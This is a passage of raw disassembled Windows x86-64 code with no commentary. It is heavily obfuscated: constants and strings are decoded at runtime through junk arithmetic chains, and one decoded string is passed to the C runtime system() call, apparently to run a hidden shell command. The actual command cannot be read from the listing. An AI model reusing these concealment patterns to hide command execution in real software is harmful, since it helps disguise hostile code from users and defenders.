rol rax, 0x38
popf
pushf
not rax
add rax, 0x753925e0
xor rax, 0x4f5fee9b
rol rax, 0xd2
popf
pushf
not rax
add rax, 0x690bf7f2
xor rax, 0x4e3ef299
rol rax, 0x22
popf
mov qword [rbp + 0x340], rax
movabs rax, 0xfd1a547972c25806
pushf
not rax
add rax, 0x4d0caa7d
xor rax, 0x640c01ce
rol rax, 0x4f
popf
pushf
not rax
add rax, 0x5809f4ee
xor rax, 0x577768c9
rol rax, 0x56
popf
mov qword [rbp + 0x348], rax
movabs rax, 0xd8a2253a3efb52e7
pushf
not rax
add rax, 0x50d37f73
xor rax, 0x59337690
rol rax, 0xbc
popf
pushf
not rax
add rax, 0x7d39c4df
xor rax, 0x490e27f9
rol rax, 0x4e
popf
pushf
not rax
add rax, 0x7b291156
xor rax, 0x4ab8259a
rol rax, 0x16
popf
mov qword [rbp + 0x350], rax
movabs rcx, 0x6a1aced7f3f90753
pushf
not rcx
add rcx, 0x6b95428d
xor rcx, 0x426e882e
rol rcx, 0xbc
popf
pushf
not rcx
add rcx, 0x7cc741ff
xor rcx, 0x4e92ce95
rol rcx, 0x8d
popf
mov qword [rbp + 0x358], rcx
mov qword [rbp + 0x380], rsi
mov qword [rbp + 0x388], rbx
movabs rax, 0xbc961ef54c559cfe
pushf
not rax
add rax, 0x713fced5
xor rax, 0x5affaa4c
rol rax, 0x8e
popf
pushf
not rax
add rax, 0x692fea46
xor rax, 0x71bac0f3
rol rax, 0xc6
popf
mov qword [rbp + 0x390], rax
movabs rax, 0x90eafaddcfc7e787
pushf
not rax
add rax, 0x53086a45
xor rax, 0x4b3d0e3f
rol rax, 0x4a
popf
pushf
not rax
add rax, 0x68b5c13f
xor rax, 0x680a2690
rol rax, 0x20
popf
pushf
not rax
add rax, 0x42e9a4a8
xor rax, 0x446b3604
rol rax, 0xea
popf
mov qword [rbp + 0x398], rax
movabs rax, 0xbc4cf6c95baf1b59
pushf
not rax
add rax, 0x43664377
xor rax, 0x6becf4e7
rol rax, 4
popf
pushf
not rax
add rax, 0x59569107
xor rax, 0x5d13e031
rol rax, 0x83
popf
pushf
not rax
add rax, 0x6cb43f03
xor rax, 0x7bf823f9
rol rax, 0x85
popf
pushf
not rax
add rax, 0x746637b5
xor rax, 0x7cb89187
rol rax, 0xa3
popf
mov qword [rbp + 0x3a0], rax
mov qword [rbp + 0x3a8], rcx
movdqa xmm0, xmmword [rbp + 0x330]
xorps xmm0, xmmword [rbp + 0x380]
movdqa xmmword [rbp + 0x330], xmm0
movdqa xmm1, xmmword [rbp + 0x340]
xorps xmm1, xmmword [rbp + 0x390]
movdqa xmmword [rbp + 0x340], xmm1
movdqa xmm0, xmmword [rbp + 0x350]
xorps xmm0, xmmword [rbp + 0x3a0]
movdqa xmmword [rbp + 0x350], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x380], xmm0
xor eax, eax
mov qword [rbp + 0x390], rax
mov qword [rbp + 0x398], rax
lea rax, [rbp + 0x330]
mov r8, rdi
push rax
pushf
mov eax, 0x2d81a1c9
pushf
not eax
add eax, 0xf324c80e
xor eax, 0xbfcddd5b
rol eax, 0x31
popf
pushf
not eax
add eax, 0xf618a249
xor eax, 0x9f062bfc
rol eax, 0x19
popf
pushf
not eax
add eax, 0xdb815b19
xor eax, 0xf024b386
rol eax, 0xb9
popf
pushf
not eax
add eax, 0xcb148a76
xor eax, 0xb0485416
rol eax, 0x10
popf
jmp 0x1400bf04b
inc r8
cmp byte [rax + r8], 0
jne 0x1400c0a53
push rax
pushf
mov eax, 0x649ae7f3
pushf
not eax
add eax, 0xb7b90555
xor eax, 0x8f701bd7
rol eax, 0x2e
popf
pushf
not eax
add eax, 0x834871cf
xor eax, 0xff5892f0
rol eax, 0x22
popf
pushf
not eax
add eax, 0xd258f892
xor eax, 0xc3505782
rol eax, 0xa8
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0xd73c186c
pushf
not eax
add eax, 0xf71124f1
xor eax, 0xa29a8b1f
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xa634ad38
xor eax, 0xc7e833cb
rol eax, 0x5d
popf
pushf
not eax
add eax, 0x8a2a319b
xor eax, 0xe69c25c8
rol eax, 0x84
popf
pushf
not eax
add eax, 0xeeab5fd3
xor eax, 0xcfbf2da3
rol eax, 0x72
popf
jmp 0x1400bf04b
lea rdx, [rbp + 0x330]
lea rcx, [rbp + 0x380]
call fcn.1400faaf3
nop
lea rdx, [rbp + 0x298]
lea rcx, [rbp - 0x30]
call fcn.1400fd05e
nop
lea rdx, [rbp + 0x2b8]
lea rcx, [rbp - 0x10]
call fcn.1400fd05e
nop
lea rdx, [rbp + 0x2d8]
lea rcx, [rbp + 0x10]
call fcn.1400fd05e
nop
lea rdx, [rbp + 0x2f8]
lea rcx, [rbp + 0x30]
call fcn.1400fd05e
mov eax, dword [rbp + 0x318]
mov dword [rbp + 0x50], eax
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x330]
call fcn.1400fd05e
lea rdx, [rbp + 0x380]
mov r13, qword [rbp + 0x398]
cmp r13, 0xf
seta byte [rsp + 0x40]
mov rbx, qword [rbp + 0x380]
cmova rdx, rbx
lea rcx, [rbp + 0x330]
mov r15, qword [rbp + 0x348]
cmp r15, 0xf
seta r12b
mov rsi, qword [rbp + 0x330]
cmova rcx, rsi
mov r8, qword [rbp + 0x340]
cmp r8, qword [rbp + 0x390]
jne 0x1400c0bb5
push rax
pushf
mov eax, 0x20378dee
pushf
not eax
add eax, 0xc6535bc1
xor eax, 0xb214254d
rol eax, 0x43
popf
pushf
not eax
add eax, 0xc3b76630
xor eax, 0x9e6bedd4
rol eax, 0x44
popf
pushf
not eax
add eax, 0xfa5732c9
xor eax, 0x8d1a648d
rol eax, 0x85
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0x3d20a86f
pushf
not eax
add eax, 0x8e25f980
xor eax, 0xfa6ffff1
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xfc63536a
xor eax, 0x8f0d771a
rol eax, 0xbf
popf
jmp 0x1400bf04b
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400c0c37
push rax
pushf
mov eax, 0xa70486d6
pushf
not eax
add eax, 0xa26b13cd
xor eax, 0xd9393159
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xdb193317
xor eax, 0xf8631385
rol eax, 0x3b
popf
pushf
not eax
add eax, 0x803585be
xor eax, 0x9999b7b7
rol eax, 0x54
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0xc4b4bce3
pushf
not eax
add eax, 0x972d1527
xor eax, 0x909ddf9b
rol eax, 0x32
popf
pushf
not eax
add eax, 0x8ef4c195
xor eax, 0xc108ab7f
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xb680654e
xor eax, 0xabae41c1
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xcfa2476a
xor eax, 0xba0ea70b
rol eax, 0x6f
popf
jmp 0x1400bf04b
xor r14b, r14b
jmp 0x1400c0d86
mov r14b, Ordinal_45
pushf
not r14b
add r14b, 0x8b
xor r14b, 0x45
rol r14b, 0xaa
popf
pushf
not r14b
add r14b, 0xec
xor r14b, 0x70
rol r14b, 0x1e
popf
pushf
not r14b
add r14b, 0x5a
xor r14b, 0x5f
rol r14b, 0x3f
popf
push rax
pushf
mov eax, 0xfdbb577f
pushf
not eax
add eax, 0xa5d52886
xor eax, 0x9341df65
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xf5a4721e
xor eax, 0xd1d9f169
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xbef8d5b3
xor eax, 0x98b48d4e
rol eax, 0xf4
popf
pushf
not eax
add eax, 0xde310bb1
xor eax, 0xd2128917
rol eax, 0x12
popf
jmp 0x1400bf04b
test r12b, r12b
je 0x1400c0de4
push rax
pushf
mov eax, 0x2a95be40
pushf
not eax
add eax, 0xdfc1f5b7
xor eax, 0xac86cd9a
rol eax, 0xde
popf
pushf
not eax
add eax, 0xebf21448
xor eax, 0xa1a1b568
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xd2218c41
xor eax, 0xe87d0981
rol eax, 0x50
popf
pushf
not eax
add eax, 0xadb32fd0
xor eax, 0xbb0150f6
rol eax, 0x40
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0xc97e2628
pushf
not eax
add eax, 0xede2e2db
xor eax, 0x99390903
rol eax, 0x27
popf
pushf
not eax
add eax, 0x8ec13eab
xor eax, 0xbea1f6c0
rol eax, 0xf8
popf
pushf
not eax
add eax, 0xf459dd5d
xor eax, 0xe7f89b49
rol eax, 0x59
popf
jmp 0x1400bf04b
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x1400c0e6d
push rax
pushf
mov eax, 0x399ff8a6
pushf
not eax
add eax, 0xad2dfebb
xor eax, 0xb9915733
rol eax, 0x5f
popf
pushf
not eax
add eax, 0x91643202
xor eax, 0xaf14896e
rol eax, 0x6b
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0xf980c625
pushf
not eax
add eax, 0xb76f051b
xor eax, 0x88c6ae3a
rol eax, 0x3c
popf
pushf
not eax
add eax, 0x8cb9645e
xor eax, 0xb6bb6405
rol eax, 0xfd
popf
pushf
not eax
add eax, 0x85641927
xor eax, 0x9f19a83e
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xf764a835
xor eax, 0xbe8026c4
rol eax, 0x7c
popf
jmp 0x1400bf04b
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400c0f34
push rax
pushf
mov eax, 0x785303ac
pushf
not eax
add eax, 0xb0f10d11
xor eax, 0xcb1b71e0
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xde054457
xor eax, 0x91bdd0b5
rol eax, 0x87
popf
pushf
not eax
add eax, 0xf43dc624
xor eax, 0xc497b0d5
rol eax, 0x34
popf
pushf
not eax
add eax, 0xb9f431fc
xor eax, 0xf6a28124
rol eax, 0x8a
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0xbe2cd987
pushf
not eax
add eax, 0xaca1ed3c
xor eax, 0x80cec388
rol eax, 0xba
popf
pushf
not eax
add eax, 0xc47b60d9
xor eax, 0xf0b26261
rol eax, 0x3e
popf
pushf
not eax
add eax, 0xcdd0bc8b
xor eax, 0x8528378c
rol eax, 0x50
popf
jmp 0x1400bf04b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.1400dff78
nop
push rax
pushf
mov eax, 0x7bce4ce2
pushf
not eax
add eax, 0xd64fcb85
xor eax, 0xf721d9a0
rol eax, 0xe
popf
pushf
not eax
add eax, 0xbe3b7611
xor eax, 0x947af0a8
rol eax, 0xf7
popf
jmp 0x1400bf04b
lea rcx, [rbp - 0x30]
call fcn.140017d70
nop
cmp byte [rsp + 0x40], 0
je 0x1400c105b
push rax
pushf
mov eax, 0x51ab7575
pushf
not eax
add eax, 0xbd15b956
xor eax, 0xbfb81013
rol eax, 0xae
popf
pushf
not eax
add eax, 0x8b847600
xor eax, 0xf88ab4ba
rol eax, 0x50
popf
pushf
not eax
add eax, 0xd675899d
xor eax, 0x933fcf04
rol eax, 0xa
popf
pushf
not eax
add eax, 0xd5530b34
xor eax, 0xe680c06f
rol eax, 0x98
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0xba660a16
pushf
not eax
add eax, 0xe5c49c2b
xor eax, 0xa0a5725a
rol eax, 0xc3
popf
pushf
not eax
add eax, 0x8bad484c
xor eax, 0xc8557acf
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xcc77de57
xor eax, 0xb9e2e101
rol eax, 0x15
popf
pushf
not eax
add eax, 0xb78314dc
xor eax, 0xb019a119
rol eax, 3
popf
jmp 0x1400bf04b
lea rdx, [r13 + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x1400c110a
push rax
pushf
mov eax, 0xc07a4e13
pushf
not eax
add eax, 0xbf043e7d
xor eax, 0x8345418c
rol eax, 0x75
popf
pushf
not eax
add eax, 0xd8d0fbd3
xor eax, 0xe236b9a8
rol eax, 0xcd
popf
pushf
not eax
add eax, 0xe32a201c
xor eax, 0xe3b47059
rol eax, 0x53
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0x8ab30cbd
pushf
not eax
add eax, 0xcf36ad93
xor eax, 0xea6fb9d9
rol eax, 0x1e
popf
pushf
not eax
add eax, 0xe0e1d81c
xor eax, 0x9526d1dc
rol eax, 0x43
popf
jmp 0x1400bf04b
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400c1185
push rax
pushf
mov eax, 0xbbd9a4e3
pushf
not eax
add eax, 0xf536ae42
xor eax, 0xae8495d8
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xc82fcbab
xor eax, 0x84e1dedc
rol eax, 0x34
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0x382727ac
pushf
not eax
add eax, 0x85ff862f
xor eax, 0xf73eaede
rol eax, 0x5e
popf
pushf
not eax
add eax, 0xe881fe9f
xor eax, 0xb9c94a87
rol eax, 0xf5
popf
jmp 0x1400bf04b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.1400dff78
push rax
pushf
mov eax, 0xca480ec9
pushf
not eax
add eax, 0xed0ad612
xor eax, 0x822f29a6
rol eax, 0x65
popf
pushf
not eax
add eax, 0x8e3721eb
xor eax, 0xe84cd65c
rol eax, 0x39
popf
pushf
not eax
add eax, 0xb00df012
xor eax, 0x9db312b6
rol eax, 0x22
popf
pushf
not eax
add eax, 0xd223b5c5
xor eax, 0xb46d1c56
rol eax, 0xf3
popf
jmp 0x1400bf04b
test r14b, r14b
je 0x1400c14a1
movabs rax, 0x62dac9e121aabbf9
pushf
not rax
add rax, 0x616b176c
xor rax, 0x6364fe1e
rol rax, 0x6e
popf
pushf
not rax
add rax, 0x4f054a54
xor rax, 0x650ab274
rol rax, 0xa5
popf
mov qword [rbp + 0x330], rax
movabs rbx, 0x1e3876909bcded53
pushf
not rbx
add rbx, 0x5d7d5b91
xor rbx, 0x6dbb89fa
rol rbx, 0x5d
popf
pushf
not rbx
add rbx, 0x5397f62c
xor rbx, 0x672c4570
rol rbx, 4
popf
mov qword [rbp + 0x338], rbx
movabs rsi, 0x3be092041c9439f5
pushf
not rsi
add rsi, 0x44a60948
xor rsi, 0x70c61a13
rol rsi, 0xf3
popf
pushf
not rsi
add rsi, 0x7b9fda3c
xor rsi, 0x70e78a76
rol rsi, 0x4b
popf
mov qword [rbp + 0x360], rsi
mov qword [rbp + 0x368], rbx
movdqa xmm0, xmmword [rbp + 0x360]
xorps xmm0, xmmword [rbp + 0x330]
movdqa xmmword [rbp + 0x330], xmm0
lea rcx, [rbp + 0x330]
jmp 0x1400c135b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x5a5b3589efafcedf
pushf
not rax
add rax, 0x44f468b0
xor rax, 0x5129816a
rol rax, 0x8c
popf
pushf
not rax
add rax, 0x784276e2
xor rax, 0x7b21c2b7
rol rax, 0xd
popf
pushf
not rax
add rax, 0x63d71795
xor rax, 0x4f157476
rol rax, 0xf9
popf
mov qword [rbp + 0x330], rax
movabs rax, 0x4b82947755070004
pushf
not rax
add rax, 0x564e7558
xor rax, 0x4a819710
rol rax, 0xde
popf
pushf
not rax
add rax, 0x4042cd70
xor rax, 0x6d38291b
rol rax, 0x9d
popf
pushf
not rax
add rax, 0x5309f4c3
xor rax, 0x6602f83e
rol rax, 0x71
popf
mov qword [rbp + 0x338], rax
mov qword [rbp + 0x360], rsi
mov qword [rbp + 0x368], rbx
movdqa xmm0, xmmword [rbp + 0x360]
xorps xmm0, xmmword [rbp + 0x330]
movdqa xmmword [rbp + 0x330], xmm0
lea rcx, [rbp + 0x330]
call fcn.1400f097e
call fcn.14011a0ef
jmp 0x1400c46ac
movabs rax, 0xdefde923471db194
pushf
not rax
add rax, 0x4ce4f43f
xor rax, 0x496a2315
rol rax, 0x8b
popf
pushf
not rax
add rax, 0x6b182728
xor rax, 0x5bc1ece1
rol rax, 0xc4
popf
mov qword [rbp + 0x380], rax
movabs rax, 0xd5cc7e95d4b59f3d
pushf
not rax
add rax, 0x590696fb
xor rax, 0x532fe2ef
rol rax, 0x97
popf
pushf
not rax
add rax, 0x71dc24a4
xor rax, 0x69b2b8e4
rol rax, 0xfe
popf
mov qword [rbp + 0x388], rax
movabs rax, 0x1aafc57c85c87ad5
pushf
not rax
add rax, 0x577c70c8
xor rax, 0x441d52fd
rol rax, 0x11
popf
pushf
not rax
add rax, 0x6c4ffc34
xor rax, 0x5d6307c4
rol rax, 0x7a
popf
pushf
not rax
add rax, 0x70df38e9
xor rax, 0x43904e3f
rol rax, 0xb8
popf
pushf
not rax
add rax, 0x5b844baa
xor rax, 0x4d255aa7
rol rax, 0x3a
popf
mov qword [rbp + 0x390], rax
movabs rax, 0x1f250726e128a6a
pushf
not rax
add rax, 0x7950bf94
xor rax, 0x6db7706c
rol rax, 0x85
popf
pushf
not rax
add rax, 0x5d78ade3
xor rax, 0x72fe6601
rol rax, 0xa0
popf
pushf
not rax
add rax, 0x783ff246
xor rax, 0x6e930acf
rol rax, 0x86
popf
mov qword [rbp + 0x398], rax
movabs r15, 0xcacde954086e109c
pushf
not r15
add r15, 0x53d9bba3
xor r15, 0x518c3246
rol r15, 0x81
popf
pushf
not r15
add r15, 0x6b77e51a
xor r15, 0x729991bf
rol r15, 0xc1
popf
pushf
not r15
add r15, 0x7432dc2e
xor r15, 0x6b28be3a
rol r15, 0x20
popf
mov qword [rbp + 0x330], r15
movabs r14, 0x606831c15e741816
pushf
not r14
add r14, 0x47bf2770
xor r14, 0x58d25739
rol r14, 0xc7
popf
pushf
not r14
add r14, 0x5f115bdf
xor r14, 0x44555888
rol r14, 0x58
popf
mov qword [rbp + 0x338], r14
movabs r13, 0x3267e6668eedc8d2
pushf
not r13
add r13, 0x40596931
xor r13, 0x6f7ad2bb
rol r13, 0x10
popf
pushf
not r13
add r13, 0x7db8e2ce
xor r13, 0x42cdc9c9
rol r13, 0x18
popf
mov qword [rbp + 0x340], r13
movabs r12, 0xddb7ccb30d47d394
pushf
not r12
add r12, 0x6f9ac6b0
xor r12, 0x4201a229
rol r12, 0x6c
popf
pushf
not r12
add r12, 0x54168514
xor r12, 0x75cb8095
rol r12, 0xa9
popf
mov qword [rbp + 0x348], r12
movdqa xmm0, xmmword [rbp + 0x330]
xorps xmm0, xmmword [rbp + 0x380]
movdqa xmmword [rbp + 0x380], xmm0
movdqa xmm1, xmmword [rbp + 0x340]
xorps xmm1, xmmword [rbp + 0x390]
movdqa xmmword [rbp + 0x390], xmm1
lea rcx, [rbp + 0x380]
call fcn.1400f097e
movabs rax, 0x77c15ecfc287a3ce
pushf
not rax
add rax, 0x43b80f7f
xor rax, 0x74842b73
rol rax, 0xfb
popf
pushf
not rax
add rax, 0x7151d594
xor rax, 0x5e00ed2e
rol rax, 2
popf
mov qword [rbp + 0x330], rax
mov qword [rbp + 0x338], r14
mov qword [rbp + 0x360], r15
mov qword [rbp + 0x368], r14
movdqa xmm0, xmmword [rbp + 0x360]
xorps xmm0, xmmword [rbp + 0x330]
movdqa xmmword [rbp + 0x330], xmm0
lea rcx, [rbp + 0x330]
call fcn.1400f097e
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
mov dword [rbp - 0x40], eax
xor edx, edx
mov r8d, 0xe977ef64
pushf
not r8d
add r8d, 0xa75ec8f4
xor r8d, 0xcc252857
rol r8d, 0x9c
popf
pushf
not r8d
add r8d, 0xa3ef3ee9
xor r8d, 0xbe49b48b
rol r8d, 0x40
popf
pushf
not r8d
add r8d, 0xb195d56d
xor r8d, 0xeefa8a2d
rol r8d, 0xe7
popf
lea rcx, [rbp + 0xe0]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp - 0x30]
call fcn.1400fd05e
nop
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp - 0x10]
call fcn.1400fd05e
nop
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x10]
call fcn.1400fd05e
nop
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x30]
call fcn.1400fd05e
nop
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x50]
call fcn.1400fd05e
mov eax, dword [rbp + 0x270]
mov dword [rbp + 0x70], eax
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x380]
call fcn.1400fd05e
nop
lea rax, [0x1aee2dd23]
pushf
sub rax, 0x6eda8dfb
popf
mov qword [rbp + 0xe0], rax
lea rcx, [rbp + 0x170]
jmp 0x1400c18b5
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp + 0x360], 0x7f
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0xe0]
jmp 0x1400c18db
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0xe0]
movsxd rcx, dword [rax + 4]
lea rax, [0x187ea52df]
pushf
sub rax, 0x47e203a7
popf
mov qword [rbp + rcx + 0xe0], rax
mov rax, qword [rbp + 0xe0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rbp + rcx + 0xdc], edx
lea rax, [rbp + 0xf0]
mov qword [rbp + 0x330], rax
lea rcx, [rbp + 0xf0]
jmp 0x1400c1934
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
lea rax, [0x1aa69159a]
pushf
sub rax, 0x6a60c6ea
popf
mov qword [rbp + 0xf0], rax
mov rsi, qword [rbp + 0x390]
mov rbx, qword [rbp + 0x398]
cmp rbx, 0xf
jbe 0x1400c19ad
push rax
pushf
mov eax, 0x43856b28
pushf
not eax
add eax, 0xe89a4bb4
xor eax, 0xfe95b8e5
rol eax, 0x52
popf
pushf
not eax
add eax, 0xecf13a06
xor eax, 0xe902f6e6
rol eax, 0x65
popf
pushf
not eax
add eax, 0xb928faf9
xor eax, 0xf2819e3e
rol eax, 0x81
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0x1d4dd9c0
pushf
not eax
add eax, 0x88d6e856
xor eax, 0xa560ce2e
rol eax, 0x77
popf
pushf
not eax
add eax, 0xe03430e9
xor eax, 0xb55a7ae8
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xb1001a8b
xor eax, 0xf979e389
rol eax, 0x6d
popf
jmp 0x1400bf04b
mov r8, qword [rbp + 0x380]
inc rbx
jmp 0x1400c1ad5
mov ebx, 0xdedc2fbe
pushf
not ebx
add ebx, 0xd272d128
xor ebx, 0xf2545e6d
rol ebx, 0x19
popf
pushf
not ebx
add ebx, 0xdd09de50
xor ebx, 0x823471a9
rol ebx, 0x2d
popf
pushf
not ebx
add ebx, 0x91ce9615
xor ebx, 0xf6631caa
rol ebx, 0xad
popf
pushf
not ebx
add ebx, 0x831ee7da
xor ebx, 0xf0a6507c
rol ebx, 0xed
popf
mov ecx, ebx
call fcn.1400b4d63
mov r8, rax
movups xmm0, xmmword [rbp + 0x380]
movups xmmword [rax], xmm0
push rax
pushf
mov eax, 0x9f4203
pushf
not eax
add eax, 0xf75de99e
xor eax, 0xcf71cb01
rol eax, 0x29
popf
pushf
not eax
add eax, 0x9dc65fc2
xor eax, 0xfc9d294e
rol eax, 0xec
popf
jmp 0x1400bf04b
lea rcx, [rsi + r8]
mov qword [rbp + 0x158], rcx
lea rdx, [r8 + rbx]
mov rcx, qword [rbp + 0x110]
mov qword [rcx], r8
mov rcx, qword [rbp + 0x130]
mov qword [rcx], r8
sub edx, r8d
mov rax, qword [rbp + 0x148]
mov dword [rax], edx
mov rcx, qword [rbp + 0x158]
mov rax, qword [rbp + 0x108]
mov qword [rax], r8
mov rax, qword [rbp + 0x128]
mov qword [rax], r8
sub ecx, r8d
mov rax, qword [rbp + 0x140]
mov dword [rax], ecx
mov dword [rbp + 0x160], reloc.WLDAP32.dll_Ordinal_35
lea rcx, [rbp - 0x30]
call fcn.140018200
movabs rax, 0x6fe27b3378e8c6c4
pushf
not rax
add rax, 0x7f2ed3ca
xor rax, 0x649648f7
rol rax, 0xef
popf
pushf
not rax
add rax, 0x7a993382
xor rax, 0x5d3108f3
rol rax, 0x78
popf
mov qword [rbp + 0x380], rax
movabs rax, 0x27504eb85d3030e1
pushf
not rax
add rax, 0x522b206f
xor rax, 0x4eb2c14a
rol rax, 0x64
popf
pushf
not rax
add rax, 0x77966e33
xor rax, 0x45692c37
rol rax, 0x48
popf
pushf
not rax
add rax, 0x53b9563a
xor rax, 0x5c3fe86a
rol rax, 0
popf
mov qword [rbp + 0x388], rax
movabs rax, 0x41458d454546ac6c
pushf
not rax
add rax, 0x4a93a80f
xor rax, 0x6181f4cd
rol rax, 0xdf
popf
pushf
not rax
add rax, 0x79bdd049
xor rax, 0x5aa61f6d
rol rax, 0x11
popf
pushf
not rax
add rax, 0x6c55d798
xor rax, 0x6a704bc1
rol rax, 0x71
popf
mov qword [rbp + 0x390], rax
mov qword [rbp + 0x398], r12
mov qword [rbp + 0x330], r15
mov qword [rbp + 0x338], r14
mov qword [rbp + 0x340], r13
mov qword [rbp + 0x348], r12
movdqa xmm1, xmmword [rbp + 0x380]
xorps xmm1, xmmword [rbp + 0x330]
movdqa xmmword [rbp + 0x380], xmm1
movdqa xmm0, xmmword [rbp + 0x340]
xorps xmm0, xmmword [rbp + 0x390]
movdqa xmmword [rbp + 0x390], xmm0
lea rax, [rbp - 0x60]
mov qword [rbp + 0x330], rax
lea rax, [rbp + 0x380]
mov qword [rbp + 0x338], rax
lea rcx, [rbp + 0x380]
mov qword [rbp + 0x340], rcx
movq rax, xmm1
test al, al
je 0x1400c1cf0
push rax
pushf
mov eax, 0x4e8ee522
pushf
not eax
add eax, 0xfeb5b099
xor eax, 0xa0dd3e30
rol eax, 0x30
popf
pushf
not eax
add eax, 0xbe8785a7
xor eax, 0x8b686a1e
rol eax, 0xc7
popf
pushf
not eax
add eax, 0xc1901fcf
xor eax, 0xad05c52d
rol eax, 0x53
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0x2876062
pushf
not eax
add eax, 0x805b002a
xor eax, 0x935a25a5
rol eax, 0x2d
popf
pushf
not eax
add eax, 0xf26e9e73
xor eax, 0xbe6240a1
rol eax, 0xb
popf
jmp 0x1400bf04b
inc rcx
cmp byte [rcx], 0
jne 0x1400c1d71
push rax
pushf
mov eax, 0xbbd45819
pushf
not eax
add eax, 0xdb70bb52
xor eax, 0xfaa8fd24
rol eax, 0xbd
popf
pushf
not eax
add eax, 0x99517c6c
xor eax, 0xeac191d8
rol eax, 0x89
popf
pushf
not eax
add eax, 0x8a0e2bb9
xor eax, 0xf31b4b86
rol eax, 0x22
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0x8dbf4321
pushf
not eax
add eax, 0xf095947f
xor eax, 0x8a302039
rol eax, 0x89
popf
pushf
not eax
add eax, 0xc7843c61
xor eax, 0xa85a52b6
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xcccfae49
xor eax, 0xe43fe7d6
rol eax, 0xb3
popf
pushf
not eax
add eax, 0xe5245fab
xor eax, 0x9b9358d5
rol eax, 0x7a
popf
jmp 0x1400bf04b
mov qword [rbp + 0x340], rcx
push rax
pushf
mov eax, 0xa6819f67
pushf
not eax
add eax, 0xe8f4555b
xor eax, 0xe78563b9
rol eax, 0xec
popf
pushf
not eax
add eax, 0xd37fa45b
xor eax, 0x8c99df40
rol eax, 0x85
popf
pushf
not eax
add eax, 0xa2f3a436
xor eax, 0xe79ec7fd
rol eax, 0xef
popf
pushf
not eax
add eax, 0xd9ee4b86
xor eax, 0xd45f70fd
rol eax, 0xb1
popf
jmp 0x1400bf04b
lea rdx, [rbp + 0x330]
lea rcx, [rbp + 0xe0]
call fcn.1401309e6
lea rcx, [rbp - 0x60]
jmp 0x1400c1e42
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__mktime64]
jmp 0x1400c1e49
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
lea rdx, [rbp + 0x298]
lea rcx, [rbp - 0x30]
call fcn.1400fd05e
nop
lea rdx, [rbp + 0x2b8]
lea rcx, [rbp - 0x10]
call fcn.1400fd05e
nop
lea rdx, [rbp + 0x2d8]
lea rcx, [rbp + 0x10]
call fcn.1400fd05e
nop
lea rdx, [rbp + 0x2f8]
lea rcx, [rbp + 0x30]
call fcn.1400fd05e
mov eax, dword [rbp + 0x318]
mov dword [rbp + 0x50], eax
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x330]
call fcn.1400fd05e
lea rdx, [rbp + 0x330]
cmp qword [rbp + 0x348], 0xf
cmova rdx, qword [rbp + 0x330]
movabs rax, 0x555fe62a651300e5
pushf
not rax
add rax, 0x76e7858f
xor rax, 0x6682ef8a
rol rax, 0x7e
popf
pushf
not rax
add rax, 0x46297a16
xor rax, 0x47f49c99
rol rax, 0xe0
popf
pushf
not rax
add rax, 0x4258b02a
xor rax, 0x6802aa86
rol rax, 0x7f
